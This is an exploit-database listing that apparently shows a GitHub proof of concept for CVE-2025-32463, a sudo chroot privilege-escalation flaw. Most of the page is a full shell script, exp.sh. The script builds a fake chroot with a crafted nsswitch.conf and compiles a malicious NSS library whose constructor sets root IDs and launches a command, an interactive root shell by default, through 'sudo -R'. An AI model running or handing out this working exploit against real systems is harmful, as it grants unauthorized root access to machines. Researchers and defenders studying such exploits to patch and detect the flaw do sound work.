Exploit databaseDownload repository ZIP
GH-df8c95e9420bc6031cfac89cb666ccf8
yuy0ung/cve-2025-32463_chwoot
Sources for CVE-2025-32463
52 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
yuy0ung/cve-2025-32463_chwootRevision e0d0aae58d98
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exp.sh
Suggested starting fileShell · 1,341 bytes#!/bin/bash
# CVE-2025-32463 PoC
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
WOOTFILEPATH=$(pwd)
cd ${STAGE?} || exit 1
if [ $# -eq 0 ]; then
# If no command is provided, default to an interactive root shell.
CMD="/bin/bash"
else
# Otherwise, use the provided arguments as the command to execute.
CMD="$@"
fi
# Escape the command to safely include it in a C string literal.
# This handles backslashes and double quotes.
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')
# Check if gcc is installed
if which gcc > /dev/null 2>&1; then
#if gcc is installed, proceed with the original logic
cat > woot1337.c <<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
else
#if gcc is not installed, use the precompiled woot1337.so.2
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
cp "${WOOTFILEPATH}/woot1337.so.2" libnss_/woot1337.so.2
fi
echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}